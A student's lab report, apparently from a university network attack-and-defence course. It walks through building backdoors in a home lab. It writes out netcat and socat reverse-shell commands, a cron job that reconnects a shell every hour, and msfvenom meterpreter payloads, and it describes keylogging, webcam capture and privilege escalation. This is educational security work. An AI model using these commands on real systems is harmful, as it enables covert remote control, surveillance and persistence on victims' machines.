20222304 2024-2025-1 《网络与系统攻防技术》实验二实验报告

一、 实验内容
1.1 知识回顾
堆栈结构和堆栈变化
EIP:存储下一条指令;EBP:栈底指针;ESP:栈顶指针。
栈溢出的三种方法:修改栈中邻接变量;修改函数返回地址;代码植入。

shellcode构建
RET返回地址;NOP空(0X90);shellcode调用shell;
NSR模式;RNS模式;RS模式

缓冲区溢出的防范技术
源程序检查:静态检查、动态检查;数组边界检查;运行时拦截检查...
1.2回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
攻击者发送包含恶意附件的电子邮件,用户在不知情的情况下下载并执行该附件。这种方式可能会利用用户的信任情感,通过伪装成合法文件来隐藏其真实意图。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:1.注册表自启动
2.任务计划程序
3.服务
4.启动文件夹
Linux:1.cron作业
2.rc.local
3.systemd服务4.
4..bashrc或.profile
(3)Meterpreter有哪些给你映像深刻的功能?
1.文件系统访问
2.屏幕捕获
3.相机和麦克风控制
4.进程管理
(4)如何发现自己有系统有没有被安装后门?
1.监控网络流量:使用网络监控工具分析网络流量,查找异常或未知的连接,尤其是发送到不明IP地址的流量。
2.检查运行的进程:使用任务管理器或top/ps命令查看当前运行的进程,寻找可疑的或不熟悉的进程。
3.查看自启动项:在Windows中,检查任务管理器的“启动”选项卡和注册表中的自启动项。在Linux中,检查/etc/rc.local、systemd服务、cron作业等。
4.文件系统审计:检查文件系统的完整性
1.3 实验目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二、实验过程
2.1:使用netcat获取主机操作Shell,cron启动某项任务
先关闭防火墙和杀毒软件,在windows主机上安装netcat。windows打开终端,ipconfig查看主机的IP地址。
如图所示:

     首先Windows主机win+r并输入cmd打开终端,并进入ncat所在的文件夹,开启监听。输入:ncat.exe -l -p 2304    #端口号2304

如图所示:

     接着在kali中通过ncat与win11主机建立反弹式连接。输入:nc 192.168.43.19 2304 -e /bin/sh    #IP是win11主机的,端口保持一致。

如图所示:
然后可以成功获取Linux主机的shell。
设置任务部分是通过修改crontabs/root文件来设置定时任务。需要再Linux系统下输入以下指令:crontab -e #执行文字编辑器来设定时程表,这里选择的是2:/usr/bin/vim.basic
如图所示:
回车后选择2,然后对其进行修改直接加入以下内容:30 * * * * /bin/netcat 192.168.43.19 2304 -e /bin/sh #IP地址是win主机的,在每小时的第30分钟启动任务。crontab -l #查看时程表
如图所示:
2.1.2:使用cron启动自定义任务
然后需要在Windows系统主机中刚刚获取的shell来进行操作。kali终端弹出提示,在Windows中无法对文件进行修改操作,于是就需要对kali中记录定时任务的文件本身入手,以root的权限打开。文件所在位置(/var/spool/cron目录)但是这时候打开crontabs文件夹发现其中并没有root文件,只有一个用户名为lyl20222304的文件,在看学长的博客得知需要在root模式下输入crontab -e,设定文字编辑器并修改时程表,即可自动生成root文件。
如图所示:
更改后结果:如图:
然后还需要通过Windows获取的shell继续操作,首先进入root模式,这时要注意输入密码的提示是在Linux下,然后通过echo命令直接对文件本身进行修改。
在虚拟机的终端输入crontab -e(执行文字编辑器来设定时程表)
在编辑器中最后一行添加* * * * * exch "20222304" >> /home/lyl.txt后,按:wq保存。在桌面上生成txt文件输出学号:
如图所示:


2.2使用socat获取主机操作Shell, 任务计划启动
(1)Windows主机中下载socat,cmd进入socat文件夹,输入命令:socat.exe tcp-listen:2304 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口2304,并把cmd.exe的stderr重定向到stdout)
如图所示:
(2)Linux虚拟机中进入root用户,输入命令:socat - tcp:192.168.43.19:2304
如图所示:
这样就成功调用主机shell了
(3)回到主机中拿出已经编好的代码,并且运行好之后,生成一个执行文件,复制执行文件的路径,回到主机中,按win+x后再按g打开计算机管理器看到该程序在运行,说明已经在Linux虚拟机的控制下每分钟执行上面的程序
如图所示:
2.3在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
(1)生成后门文件,在kali中输入ifconfig,获得虚拟机的IP地址:
如图所示:
继续输入以下命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.69 LPORT=2304 -f exe > 20222304.exe
如图所示:
(2)将后门文件传输至目标主机,主机进入ncat所在目录下。
如图所示:
虚拟机上输入指令:nc 192.168.43.19 2304 < 20222304.exe Win主机接收到后门文件20222304.exe。
如图所示:
(3)配置监听模块,回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置
如图所示:
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门20222304.exe文件。在主机中运行植入的后门程序,输入ls查看Windows主机目录
如图所示:
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
(1)获取目标主机音频、截屏、摄像头、键盘记录
如图所示:
将利用MSF meterpreter生成获取目标主机摄像头的照片存到root用户路径中:
如图所示:
(2)提权。在exploit模块中继续输入
如图所示:
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali虚拟机的终端中输入:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.69 LPORT=2304 -x /home/lyl20222304/pwn2 -f elf > 2304pwn
如图所示:
对生成的2304pwn文件赋予权限,输入chmod a+x 2304pwn
输入指令msfconsole,输入以下代码,重现监听过程,打开另一个终端,运行2304pwn文件,回到上一个msfconsole那个shell中,输入ls查看虚拟机root用户下的所有文件:
如图所示:

3.问题及解决方案
!!!!!最重要的问题:由于软件冲突问题导致窗口无法显示(搞得我做实验很崩溃)
解决方案:经同学查资料得知解决方法

4.学习感悟、思考等
通过本次实验,我掌握了netcat,socat和meterpreter的使用方式,并且学会了如何在Windows和Linux下如何去设置后门程序,获取目标主机的shell访问权限等。让我对知识点的理解更加深刻。
并且让我对网络黑客的强大有了更深刻的体悟,认识到网络工具的强大,可以如此轻易的获取其他主机的权限,这让我认识到了不同于课本内容的知识体会,通过本次实验让我的网络安全意识得到极大的提高。
实验中也遇到了很多小问题,也有很多是由于自己的粗心大意导致在某些地方卡住很久,浪费大量时间,以后一定要更加仔细的学习,仔细认真。(除了那个窗口问题真的让我破防加红温,这次实验还算顺利)

posted @ 2024-10-22 21:40  Amlyl  阅读(15)  评论(0编辑  收藏  举报